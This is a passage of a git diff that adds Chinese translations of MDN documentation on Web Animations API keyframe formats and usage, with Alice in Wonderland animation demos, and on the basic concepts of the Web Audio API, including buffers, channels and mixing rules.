    特殊键offseteasingcomposite(如下)可以与属性值一起指定。

    + +
    element.animate({
    +  opacity: [ 0, 0.9, 1 ],
    +  offset: [ 0, 0.8 ], // [ 0, 0.8, 1 ] 的简写
    +  easing: [ 'ease-in', 'ease-out' ],
    +}, 2000);
    +
    + +

    从属性值列表生成一组合适的关键帧后,每个提供的偏移量将应用于相应的关键帧。如果值不足或者列表包含空值null,则以没有指定处理(即和上面第1种数组格式的一样均匀间隔).

    + +

    如果easingcomposite 值太少,将根据需要,重复相应的列表。

    +
  4. +
+ +

属性

+ +

关键帧可以为任何的css动画属性指定 property-value 。 使用 camel-case 的属性名将变为 camelCase 格式,例如 {{cssxref("background-color")}} 变成 backgroundColor ,再如 {{cssxref("background-position-x")}} 变成 backgroundPositionX.。速记词,例如 {{cssxref("margin")}} 也是可以用的。.

+ +

两个特色的css属性:

+ + + +

还可以指定以下特色属性:

+ +
+
offset
+
+

关键帧的 offset 偏移量指定为介于0.01.0之间的数字或为null。 这相当于使用@keyframes在CSS样式表中以百分比指定开始和结束状态。 如果此值为null或缺失,则关键帧将在相邻关键帧之间均匀分布。

+
+
easing
+
+

从这个关键帧直到这一级中的下一个关键帧所使用的  timing function

+
+
composite
+
+

{{domxref("KeyframeEffect.composite")}} 操作用于将此关键帧中指定的值与基础值组合在一起。 如果正在使用在效果上指定的复合操作,则不会出现这种情况。

+
+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Web Animations", "#processing-a-keyframes-argument", "Keyframe object formats")}}{{Spec2('Web Animations')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{ CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

相关推荐

+ + diff --git a/files/zh-cn/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/zh-cn/web/api/web_animations_api/using_the_web_animations_api/index.html new file mode 100644 index 0000000000..8be4f10ccb --- /dev/null +++ b/files/zh-cn/web/api/web_animations_api/using_the_web_animations_api/index.html @@ -0,0 +1,349 @@ +--- +title: Using the Web Animations API +slug: Web/API/Web_Animations_API/Using_the_Web_Animations_API +translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API +--- +

{{DefaultAPISidebar("Web Animations")}}

+ +

web动画API可以让我们用JavaScript写动画并且控制动画。本文将通过有趣的demo和教学,以有趣的方式开启您对这片爱丽丝仙境的探索。

+ +

认识Web动画API

+ +

Web动画API将浏览器动画引擎向开发者打开,并由JavaScript进行操作。这些API被设计成 CSS Animations and CSS Transitions的接口,未来会对这些API做补充以丰富更多的功能。它是对网络上动画化的支持最有效的方式之一,让浏览器进行自己的内部,不需要hacks,或者强迫,或者{{domxref("Window.requestAnimationFrame()")}}。

+ +

通过Web动画API,我们可以将交互式动画从样式表移动到JavaScript,将表现与行为分开。 我们不再需要依赖DOM重的技术,如将CSS属性和范围类写入元素来控制播放方向。 与纯粹的声明式CSS不同,JavaScript还允许我们动态地将属性值设置为持续时间。 对于构建自定义动画库和创建交互式动画,Web动画API可能是完成工作的完美工具。 让我们看看它能做什么!

+ +

浏览器兼容情况

+ +

默认情况下,Firefox 48+和Chrome 36+中提供了本文中讨论的基本Web动画API功能。 Webkit和Edge已经将API移动到各自的待办事项列表中,但是直到我们看到所有浏览器都有完整的支持,所以有一个便于维护的polyfill( handy maintained polyfill)可以测试功能支持,并在必要时添加它。

+ +

用web动画API写css动画

+ +

学习Web动画API的更为熟悉的方法之一是从大多数网络开发人员开始使用以前的CSS动画。 CSS动画有一个熟悉的语法,很好地分解为演示目的。

+ +

The CSS version

+ +

这是一个用CSS写的滚动动画,显示爱丽丝落下通向仙境的兔子洞(see the full code on Codepen):

+ +

Alice Tumbling down the rabbit's hole.

+ +

请注意背景的移动,爱丽丝的旋转,以及她的颜色偏移变化。 本教程我们将仅仅关注爱丽丝。 这是控制爱丽丝动画的简化的CSS:

+ +
#alice {
+  animation: aliceTumbling infinite 3s linear;
+}
+
+@keyframes aliceTumbling {
+  0% {
+    color: #000;
+    transform: rotate(0) translate3D(-50%, -50%, 0);
+  }
+  30% {
+    color: #431236;
+  }
+  100% {
+    color: #000;
+    transform: rotate(360deg) translate3D(-50%, -50%, 0);
+  }
+}
+ +

这样可以以恒定的(线性linear)速率在3秒内改变爱丽丝的颜色和变换的旋转,并无限循环。 在 @keyframes 块中,我们可以看到每个循环(约0.9秒)的30%,Alice的颜色从黑色变为深红色,然后在循环结束时再次返回。

+ +

Moving it to JavaScript

+ +

现在让我们尝试使用Web动画API创建相同的动画。

+ +

Representing keyframes

+ +

我们首先要做的是创建一个对应于我们的CSS @keyframes块的关键帧对象:

+ +
var aliceTumbling = [
+  { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+  { color: '#431236', offset: 0.3},
+  { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+];
+ +

这里我们使用一个包含多个对象的数组。 每个对象代表原始CSS中的一个键。 然而,与CSS不同,Web动画API不需要明确地告知每个键出现的动画的百分比。 它将根据您给出的按键数量自动将动画划分为相等的部分。 这意味着具有三个键的关键帧对象将通过动画的每个循环的方式播放中间键,除非另有说明。

+ +

当我们想要明确地设置一个键与其他键的偏移量时,我们可以直接在对象中指定一个偏移量,并与逗号分隔。 在上面的例子中,为了确保爱丽丝的颜色变化为30%而不是50%,我们给它的偏移量为0.3。

+ +

必须至少指定两个关键帧(表示动画序列的开始和结束状态).如果您的关键帧列表只有一个条目, {{domxref("Element.animate()")}} 将抛出不支持的异常报错.

+ +

所以要回顾一下,除非你指定一个键上的偏移量,否则键的默认值是等间隔的。 方便吗?

+ +

表示时间属性

+ +

我们还需要创建一个定时属性的对象 (an {{domxref("AnimationEffectTimingProperties")}} object) 对应于爱丽丝动画中的值:

+ +
var aliceTiming = {
+  duration: 3000,
+  iterations: Infinity
+}
+ +

你会注意到这里有一些差异,如何在CSS中表示等价的值:

+ + + +
+

CSS 动画中使用的属性值与Web动画中使用的属性值存在一些小的差异。比如,Web动画中不能使用字符串“infinite”,而是使用Javascript的关键字 Infinity。 以及我们用 easing 来代替timing-function。我们不必在这列出easing的值,因为不像在CSS动画里,默认的"animation-timing-function"是ease。页面动画API的默认easing是linear— 而这就是我们想要的。

+
+ +

整合这些特性

+ +

是时候把这些特性结合到一起运用了 {{domxref("Element.animate()")}} :

+ +
document.getElementById("alice").animate(
+  aliceTumbling,
+  aliceTiming
+)
+ +

And boom: the animation starts playing (see the finished version on Codepen).

+ +

可以在可以使用CSS动画化的任何DOM元素上调用animate()方法。 它可以用几种方式写成。 我们可以直接像这样传递他们的值,而不是为关键帧和时间属性制作对象:

+ +
document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.3},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], {
+    duration: 3000,
+    iterations: Infinity
+  }
+);
+ +

更重要的是,如果我们只想指定动画的持续时间,而不是其迭代(默认动画迭代一次),我们可以单独传递毫秒:

+ +
document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.3},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], 3000);
+ +

使用play(),pause(),reverse()和playbackRate控制播放

+ +

虽然我们可以使用Web动画API编写CSS动画,其中API真正派上用场的是操纵动画的播放。 Web动画API提供了一些控制播放的有用方法。 让我们来看看在Growing / Shrinking Alice游戏中暂停和播放动画(请查看Codepen的完整代码 full code on Codepen):

+ +

Playing the growing and shrinking game with Alice.

+ +

在这个游戏中,爱丽丝有一个动画,使她从小到大,我们通过一个瓶子和一个蛋糕控制。 这两个都有自己的动画。

+ +

暂停和启动动画

+ +

稍后我们会再讨论爱丽丝的动画,但现在我们来看看蛋糕的动画:

+ +
var nommingCake = document.getElementById('eat-me_sprite').animate(
+[
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-80%)' }
+], {
+  fill: 'forwards',
+  easing: 'steps(4, end)',
+  duration: aliceChange.effect.timing.duration / 2
+});
+ +

{{domxref("Element.animate()")}} 方法会在调用后立即执行。 为了防止蛋糕在用户有机会点击之前进食自己, 我们调用 {{domxref("Animation.pause()")}} ,如下:

+ +
nommingCake.pause();
+ +

我们可以运行 {{domxref("Animation.play()")}} 方法:

+ +
nommingCake.play();
+ +

特别地,我们想将其链接到爱丽丝的动画,所以当蛋糕被吃掉时,她变得更大。 我们可以通过以下功能来实现:

+ +
var growAlice = function() {
+
+  // Play Alice's animation.
+  aliceChange.play();
+
+  // Play the cake's animation.
+  nommingCake.play();
+
+}
+ +

当用户握住鼠标或者在触摸屏上按住他们的手指在蛋糕上时,我们现在可以调用growAlice来使所有动画发挥作用:

+ +
cake.addEventListener("mousedown", growAlice, false);
+cake.addEventListener("touchstart", growAlice, false);
+ +

其他有用的方法

+ +

除了暂停和播放,我们可以使用以下动画方法:

+ + + +

让我们先来看一下playbackRate - 一个否定的播放速度将导致一个动画反向运行。 当爱丽丝从瓶中喝酒时,她越来越小。 这是因为瓶子将动画的播放速度从1更改为-1:

+ +
var shrinkAlice = function() {
+  aliceChange.playbackRate = -1;
+  aliceChange.play();
+}
+
+bottle.addEventListener("mousedown", shrinkAlice, false);
+bottle.addEventListener("touchstart", shrinkAlice, false);
+ +

Through the Looking-Glass,爱丽丝旅行到一个世界,她必须跑步留在原地 - 运行两倍快速前进! 在红女王比赛的例子中,爱丽丝和红女王正在跑步,留下来(查看Codepen上的全部代码full code on Codepen):

+ +

Alice and the Red Queen race to get to the next square in this game.

+ +

因为小孩子很容易疲惫不堪,不像自动机棋子,爱丽丝不断减速。 我们已经通过在动画播放时设置了一个衰减代码:

+ +
setInterval( function() {
+
+  // Make sure the playback rate never falls below .4
+  if (redQueen_alice.playbackRate > .4) {
+    redQueen_alice.playbackRate *= .9;
+  }
+
+}, 3000);
+ +

但是通过点击或点击来敦促他们使他们通过乘以播放速度来加快速度:

+ +
var goFaster = function() {
+
+  redQueen_alice.playbackRate *= 1.1;
+
+}
+
+document.addEventListener("click", goFaster);
+document.addEventListener("touchstart", goFaster);
+ +

背景元素还具有播放时间,当您点击或点击时,它们会受到影响。 当Alice和Red Queen跑两倍的时候会发生什么? 当你让他们放慢时会发生什么?

+ +

获取动画信息

+ +

想象其他方式我们可以使用playbackRate,例如通过让他们减慢整个网站的动画来改善具有前庭障碍的用户的可访问性。 这不可能在CSS中重新计算每个CSS规则的持续时间,但是通过Web动画API,我们可以使用即将到来的(在浏览器中不支持!){{domxref("document.getAnimations()")}}方法 循环遍历页面上的每个动画,并将它们的播放速度减半:

+ +
document.getAnimations().forEach(
+  function (animation) {
+    animation.playbackRate *= .5;
+  }
+);
+ +

使用Web动画API,您需要更改的只是一个小的属性!

+ +

另一件与CSS动画有关的难点就是创建依赖于其他动画提供的值。 例如,在“成长和收缩爱丽丝”游戏的例子中,您可能会注意到蛋糕的持续时间有些奇怪:

+ +
duration: aliceChange.effect.timing.duration / 2
+ +

要了解这里发生了什么,让我们来看看Alice的动画:

+ +
var aliceChange = document.getElementById('alice').animate(
+  [
+    { transform: 'translate(-50%, -50%) scale(.5)' },
+    { transform: 'translate(-50%, -50%) scale(2)' }
+  ], {
+    duration: 8000,
+    easing: 'ease-in-out',
+    fill: 'both'
+  });
+ +

爱丽丝的动画让她的尺寸从一半到8秒的两倍。 然后我们暂停她:

+ +
aliceChange.pause();
+ +

如果我们在动画开始时已经把她暂停了,那么她的全部尺寸将从一半开始,就像她已经把整个瓶子都喝完了一样! 我们想把动画的“播放头”放在中间,所以她已经中途了。 我们可以通过将她的 {{domxref("Animation.currentTime")}}设置为4秒,如下所示:

+ +
aliceChange.currentTime = 4000;
+ +

但是在制作这个动画的时候,我们可能会改变爱丽丝的持续时间。 如果我们将动态时间设置为timeTime,那么它不会更好吗?所以我们一次不必再做两个更新? 我们实际上可以通过引用aliceChange的{{domxref("Animation.effect")}}属性来实现,该属性返回一个包含Alice上所有效果细节的对象:

+ +
aliceChange.currentTime = aliceChange.effect.timing.duration / 2;
+ +

效果让我们访问动画的关键帧和时间对象 - aliceChange.effect.timing指向Alice的时间对象(其类型为{{domxref("AnimationEffectTimingReadOnly")}}) - 这包含她的{{domxref("AnimationEffectTimingReadOnly.duration")}}。 我们可以将她的持续时间分成两半,以获得她动画时间轴的中点,使她成为正常的高度。 现在,我们可以在任何一个方向扭转和播放动画,使她变小或变大!

+ +

当设置蛋糕和瓶子的持续时间时,我们可以做同样的事情:

+ +
var drinking = document.getElementById('liquid').animate(
+[
+  { height: '100%' },
+  { height: '0' }
+], {
+  fill: 'forwards',
+  duration: aliceChange.effect.timing.duration / 2
+});
+drinking.pause();
+ +

现在,所有三个动画只有一个持续时间,我们可以从一个地方容易地改变。

+ +

我们还可以使用Web动画API来确定动画当前的时间。 当你用尽蛋糕吃或者清空瓶子时,游戏就结束了。 哪个角色扮演者取决于爱丽丝在她的动画中有多远,无论她是否变得太大,不能进入小门太小,无法达到打开门的钥匙。 我们可以弄清楚她是否在动画的大端或小端,让她的动画当前时间(currentTime)被她的activeDuration分成:

+ +
var endGame = function() {
+
+  // get Alice's timeline's playhead location
+  var alicePlayhead = aliceChange.currentTime;
+  var aliceTimeline = aliceChange.effect.activeDuration;
+
+  // stops Alice's and other animations
+  stopPlayingAlice();
+
+  // depending on which third it falls into
+  var aliceHeight = alicePlayhead/aliceTimeline;
+
+  if (aliceHeight <= .333){
+    // Alice got smaller!
+    ...
+
+  } else if (aliceHeight >= .666) {
+    // Alice got bigger!
+    ...
+
+  } else {
+    // Alice didn't change significantly
+    ...
+
+  }
+}
+
+ +
+

Note: getAnimations() and effect are not fully supported as of this writing, but the polyfill does support them today.

+
+ +

Callbacks and promises

+ +

CSS动画和转换有自己的事件侦听器,这些也可以通过Web动画API:

+ + + +

在这里,我们为蛋糕,瓶子和爱丽丝设置回调来触发endGame功能:

+ +
// When the cake or runs out...
+nommingCake.onfinish = endGame;
+drinking.onfinish = endGame;
+
+// ...or Alice reaches the end of her animation
+aliceChange.onfinish = endGame;
+
+
+ +

Prefer promises? The Web Animations API also specifies two promises: onfinish and oncancel.

+ +
+

These promises are not fully supported as of this writing.

+
+ +

结论

+ +

这些是Web动画API的基本功能,其中大部分功能已在最新版本的Firefox和Chrome中得到支持。 到目前为止,您应该准备好在浏览器中“跳下兔子洞”,动画制作动画实验! 如果您正在使用API并要共享,请尝试使用#WAAPI主题标签。 我们将会观看并且将编写更多的教程来涵盖更多的功能,支持传播!

+ +

See also

+ + diff --git a/files/zh-cn/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html b/files/zh-cn/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html new file mode 100644 index 0000000000..4e4de574cb --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html @@ -0,0 +1,432 @@ +--- +title: 网页音频接口的基本概念 +slug: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API +tags: + - 声音 + - 媒体 + - 指南 + - 概念 + - 网页音频接口 +translation_of: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API +--- +
+

这篇文章解释了 网页音频接口(Web Audio API) 运作过程中的部分音频处理概念。本文并不会将你变为一名音频处理大师,但它可以给你足够的背景知识来理解 网页音频接口 的运行原理,并能让你在使用它时做出更好的决策。

+
+ +

音频节点:模块化连接

+ +

网页音频接口(Web Audio API) 主要在 音频环境(audio context) 中进行音频处理,它也允许模块间的连接。基本的音频处理在 音频节点(audio node) 当中进行,这些节点连接在一起形成了 音频导向图(audio routing graph)。多个声源,甚至包含不同种类的声道,都可以在一个音频环境中进行处理。这种模块化的设计使得人们在创建复杂多变的声音特效时可以更加灵活。

+ +

音频节点可以通过各自的输入与输出相连,形成一个 从一个或多个声源开始,经过处理节点,终止于末节点 的链式结构(有时你不需要末节点,比如你只是想数字化处理某些音频数据的时候)。一个简单、典型的网页音频接口的操作流程可以是这样的:

+ +
    +
  1. 创建一个音频环境
  2. +
  3. 在音频环境中,创建声源——例如{{HTMLElement("audio")}} 标签,振动发声器(oscillator),音频流
  4. +
  5. 创建特效节点——例如混响,双二阶滤波,声相控制,音频振幅压缩
  6. +
  7. 选择音频的终点——例如系统的扬声器
  8. +
  9. 连接声源和特效,以及特效和终点。
  10. +
+ +

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

+ +

每个输入和输出都可以包括几个声道,声道代表了一个特定的音效通道。各种声道分离结构都可以使用,包括单声道立体声四声道5.1等等。

+ +

Show the ability of AudioNodes to connect via their inputs and outputs and the channels inside these inputs/outputs.

+ +

声源可以来自不同的地方:

+ + + +

音频数据:什么是样本

+ +

当一个音频信号被处理时,取样意味着从一个连续的信号转化为离散的信号;更具体地说,一个连续的声波(例如一个正在演奏的乐队发出的声音)会被转化成一系列的样本点(一个时间上离散的信号),计算机只可以处理这些离散的样本块。

+ +

更多的细节可以查看维基百科的采样页面。

+ +

音频片段:帧,样本和声道

+ +

一个 音频片段({{ domxref("AudioBuffer") }}) 会包含几个组成参数:一个或几个声道(1代表单声道,2代表立体声等等),一个长度(代表片段中采样帧的数目)和一个采样率(是每秒钟采样帧的个数)。

+ +

每个样本点都是一个 代表着该音频流在特定时间特定声道上的数值的 单精度浮点数。一个帧,或者一个采样帧是由一组在特定时间上的所有声道的样本点组成的——即所有声道在同一时间的样本点(立体声有2个,5.1有6个,等等,每个帧包含的样本点个数和声道数相同)。

+ +

采样率就是一秒钟内获取帧的个数,单位是赫兹(Hz)。采样率越高,音频效果越好。

+ +

现在让我们来看一下通道,一个单声道和一个立体声的音频片段,每个都是1秒钟,播放频率(采样率)为44100赫兹:

+ + + +

A diagram showing several frames in an audio buffer in a long line, each one containing two samples, as the buffer has two channels, it is stereo.

+ +

当一个音频片段开始播放时,你将会听到最左侧的样本帧,之后是他右侧相邻的一帧,以此类推。在立体声中,你将会同时听到两个声道。样本帧的概念在此时非常有用,因为每个样本帧代表特定的播放时间,而和声道个数无关,这种方式很有利于精确的多声道同步处理。

+ +
+

注意: 只需用帧的数目除以采样率即可得到播放时间(单位为秒)。用样本点数目除以声道个数即可得到帧的数目。

+
+ +

下面我们将展示几个浅显易懂的示例:

+ +
var context = new AudioContext();
+var buffer = context.createBuffer(2, 22050, 44100);
+
+ +

如果你使用上面的方法调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

+ +
+

注意: 在 数字音频 中,44,100 赫兹 (有时也写作 44.1 kHz)是一个常见的 取样频率。 为什么选取44.1kHz呢?首先,因为 人耳的接收频率 大约在 20 Hz 到 20,000 Hz 之间,根据 采样定理,采样频率一定要大于最终生成数据最大频率的二倍,因此就一定要大于 40,000 Hz (即 40kHz)。不仅如此,在采样之前信号还必须通过 低通滤波器 ,否则 会发生混叠现象,一个理想低通滤波器会完全留下低于20kHz的信号(且没有使它衰减)并完美阻拦一切高于20kHz的信号,而事实上 过度频带(英文)总是存在,在这个区域内信号会被部分衰减。这个频带越宽,建立一个 抗混叠滤波器 才越容易。因此我们选取44.1kHz允许我们有2.05kHz的空间预留给过度频带。

+
+ +
var context = new AudioContext();
+var buffer = context.createBuffer(1, 22050, 22050);
+ +

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

+ +
+

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个较低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会节约一些空间,但事实上你无法产出高频率的声音(高音区)。

+
+ +

分离式与交错式音频片段

+ +

网页音频接口使用了分离式的片段储存方式:左(L)右(R)声道像这样存储:

+ +
LLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRR (对于一个有16帧的音频片段)
+ +

这种储存方式在音频处理中非常常见:这种方式允许对每个声道单独处理。

+ +

另一种储存方式是使用交错式的片段储存方式:

+ +
LRLRLRLRLRLRLRLRLRLRLRLRLRLRLRLR (对于一个有16帧的音频片段)
+ +

这种方式在存储以及播放音频等不需要音频加工的操作中非常常见,例如一个解码后的MP3流媒体。
+
+ 在开发者接触到的网页音频接口中只有分离式音频片段,因为它主要用于音频加工。在处理过程中它使用分离式,但是当它传送到声卡中用于播放时,音频片段会被转化为交错式。反过来,当MP3被解码时,初始状态它是交错式的,但是他会被转化成分离式以用于音频加工。

+ +

声道

+ +

不同的音频片段可能包含不同数量的声道个数,从基本的单声道(只有一个声道),立体声(左右两个声道),到更加复杂的四声道5.1。由于每个声道中包含的音频数据可以不同,因此声道越多听觉效果越好。在不同声道模式中,表示特定声道的缩写如下表所示:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
单声道0: M: 唯一声道Mono0: M: mono
立体声0: L: 左
+ 1: R: 右
Stereo0: L: left
+ 1: R: right
四声道0: L: 左
+ 1: R: 右
+ 2: SL: 环绕左
+ 3: SR: 环绕右
Quad0: L: left
+ 1: R: right
+ 2: SL: surround left
+ 3: SR: surround right
5.10: L: 左
+ 1: R: 右
+ 2: C: 中央
+ 3: LFE: 低音炮
+ 4: SL: 环绕左
+ 5: SR: 环绕右
5.10: L: left
+ 1: R: right
+ 2: C: center
+ 3: LFE: subwoofer
+ 4: SL: surround left
+ 5: SR: surround right
+ +
+

注意: 由于缩写来自英文,因此保留英文作对照。

+
+ +

向上和向下混频

+ +

当输入与输出的声道数不同时,我们就需要按照如下方法进行混频。这些封装好的方法可以通过设置声音节点的 {{domxref("AudioNode.channelInterpretation")}} 属性为 "speakers"(扬声器) 或 "discrete"(离散声道) 进行混频。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
混频方式(Interpretation)输入声道模式输出声道模式混频详细规则
+

speakers

+ +

(扬声器)

+
+

1
+ (单声道)

+
2
+ (立体声)
从单声道到立体声的向上混频。
+ 唯一的输入声道(M)会被同时用于立体声的两个声道(L和R)。
+ output.L = input.M
+ output.R = input.M
1
+ (单声道)
4
+ (四声道)
从单声道到四声道的向上混频。
+ 唯一的输入声道(M)会被同时用于非环绕声的两个声道(L和R)。
+ 环绕声道(SL和SR)将为静音。
+ output.L = input.M
+ output.R = input.M
+ output.SL = 0
+ output.SR = 0
1
+ (单声道)
6
+ (5.1)
+

从单声道到5.1的向上混频。
+ 唯一的输入声道(M)会被同时用于中央声道(C)。
+ 其余所有声道(L,R,LFE,SL,SR)都将保持静音。
+ output.L = 0
+ output.R = 0

+ output.C = input.M
+ output.LFE = 0
+ output.SL = 0
+ output.SR = 0

+
2
+ (立体声)
1
+ (单声道)
从立体声到单声道的向下混频。
+ 两个输入声道(L和R)将会被均等的合并到唯一的输出声道(M)当中。
+ output.M = 0.5 * (input.L + input.R)
2
+ (立体声)
4
+ (四声道)
从立体声到四声道的向上混频。
+ 输入的左右声道(L和R)分别对应输出的非环绕左右声道(L和R)。
+ 环绕左右声道(SL和SR)将保持静音。
+ output.L = input.L
+ output.R = input.R
+ output.SL = 0
+ output.SR = 0
2
+ (立体声)
6
+ (5.1)
从立体声到5.1的向上混频。
+ 输入的左右声道(L和R)分别对应输出的非环绕左右声道(L和R)。
+ 其余所有输出声道(C,SL,SR和LFE)将保持静音。
+ output.L = input.L
+ output.R = input.R
+ output.C = 0
+ output.LFE = 0
+ output.SL = 0
+ output.SR = 0
4
+ (四声道)
1
+ (单声道)
从四声道到单声道的向下混频。
+ 四个输入声道(L,R,SL和SR)将会被均等的合并到唯一的输出声道(M)当中。
+ output.M = 0.25 * (input.L + input.R + input.SL + input.SR)
4
+ (四声道)
2
+ (立体声)
从四声道到立体声的向下混频。
+ 两个输入左声道(L和SL)将会被均等的合并到输出的左声道(L)当中。
+ 相似的,两个输入右声道(R和SR)将会被均等的合并到输出的右声道(R)当中。
+ output.L = 0.5 * (input.L + input.SL)
+ output.R = 0.5 * (input.R + input.SR)
4
+ (四声道)
6
+ (5.1)
从四声道到5.1的向上混频。
+ 四个输入声道(L,R,SL和SR)将会分别进入它们对应的输出声道(L,R,SL和SR)当中。
+ 其余输出声道(C和LFE)将保持静音。
+ output.L = input.L
+ output.R = input.R
+ output.C = 0
+ output.LFE = 0
+ output.SL = input.SL
+ output.SR = input.SR
6
+ (5.1)
1
+ (单声道)
从5.1到单声道的向下混频。
+ 输入的低音炮声道(LFE)将会被抛弃。
+ 其余声道按不同权值混合到唯一的输出声道(M):
+ 输入的中央声道(C)权值为1,
+ 输入的非环绕侧声道(L和R)有所减弱,权值为√2/2(即1/√2约等于0.7071)
+ 输入的环绕声道(SL和SR)进一步衰减,权值为0.5。
+ output.M = 0.7071 * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)
6
+ (5.1)
2
+ (立体声)
从5.1到立体声的向下混频。
+ 输入的低音炮声道(LFE)将会被抛弃。
+ 对于每侧的输出声道(L或R):由输入的中央声道(C)先与同侧环绕声道(SL或SR)混合,加权(权值为√2/2)后与输入的同侧非环绕声道(L或R)混合得到。
+ output.L = input.L + 0.7071 * (input.C + input.SL)
+ output.R = input.R + 0.7071 * (input.C + input.SR)
6
+ (5.1)
4
+ (四声道)
从5.1到四声道的向下混频。
+ 输入的低音炮声道(LFE)将会被抛弃。
+ 对于每侧的输出声道(L或R):由输入的中央声道(C)加权(权值为√2/2)后,与输入的同侧非环绕声道(L或R)混合后得到。
+ 对于每侧的输出环绕声道(SL或SR):由同侧输入环绕声道(SL或SR)会不经改变直接传入。
+ output.L = input.L + 0.7071 * input.C
+ output.R = input.R + 0.7071 * input.C
+ output.SL = input.SL
+ output.SR = input.SR
其他,非标准声道配置 +

非标准的声道配置输入将会被按照 channelInterpretation 属性设置为 discrete 时的情况处理。

+ +
+

W3C规范中明确指出允许未来定义新的声道配置标准,因此未来在浏览器中使用此项的输出结果可能与现在不相同。

+
+
+

discrete

+ +

(离散声道)

+
任意
+ (x个声道)
任意
+ (y个声道)
+ 其中x<y
向上混频离散的声道。
+ 根据相应的频道序号,将输入声道一对一的填入到输出声道中。对于没有输入声道能够对应的,该输出声道将保持静音。
任意
+ (x个声道)
任意
+ (y个声道)
+ 其中x>y
向下混频离散的声道。
+ 根据相应的频道序号,将输入声道一对一的填入到输出声道中。对于没有输出声道能够对应的,该输入声道将被抛弃。
+ +

可视化

+ +

一般来说,可视化是通过获取各个时间上的音频数据(通常是振幅或频率),之后运用图像技术将其处理为视觉输出(例如一个图像)来实现的。网页音频接口提供了一个不会改变输入信号的音频节点 {{domxref("AnalyserNode")}},通过它可以获取声音数据并传递到像 {{htmlelement("canvas")}} 等等一样的可视化工具。

+ +

Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT.

+ +

你可以通过如下方法获取需要的音频数据:

+ +
+
{{domxref("AnalyserNode.getFloatFrequencyData()")}}
+
返回一个{{domxref("Float32Array")}} 数组,其中包含传递到此音频节点声音的实时频率数据。
+
+ +
+
{{domxref("AnalyserNode.getByteFrequencyData()")}}
+
返回一个{{domxref("Uint8Array")}} 无符号字节数组(unsigned byte array),其中包含传递到此音频节点声音的实时频率数据。
+
+ +
+
{{domxref("AnalyserNode.getFloatTimeDomainData()")}}
+
返回一个{{domxref("Float32Array")}} 数组,其中包含传递到此音频节点声音的实时波形,时间数据。
+
{{domxref("AnalyserNode.getByteTimeDomainData()")}}
+
返回一个{{domxref("Uint8Array")}} 无符号字节数组(unsigned byte array),其中包含传递到此音频节点声音的实时波形,时间数据。
+
+ +
+

注意: 更多信息可以参考我们的这篇文章:基于Web Audio API实现音频可视化效果 。

+
+ +

空间位置化

+ +
+

音频的空间化(由网页音频接口的 {{domxref("PannerNode")}} 和 {{domxref("AudioListener")}} 节点处理)允许我们对空间中某一点的音频信号,以及这一信号的接听者建立位置和行为模型。

+ +

声相控制器的位置可以通过笛卡尔坐标系进行描述,控制器的运动可以由速度向量来表示,这会引起多普勒效应,它的传播方向可以用一个方向圆锥来表示,当它是一个全方向声源时,圆锥会变得非常大。

+ +

 

+
+ +

The PannerNode brings a spatial position and velocity and a directionality for a given signal.

+ +
+

接听者的位置可以用笛卡尔坐标系来表示;他的运动可以用方向向量表示;头部姿态可以用两个向量表示:一个向上向量表示头顶正对的方向,一个向前向量表示鼻子所指向的方向(面向的方向),这两个向量应该互相垂直。

+
+ +

The PannerNode brings a spatial position and velocity and a directionality for a given signal.

+ +
+

注意: 更多信息可以参考我们的这篇文章:网络音频位置空间化入门(英文)

+
+ +

扇入与扇出

+ +

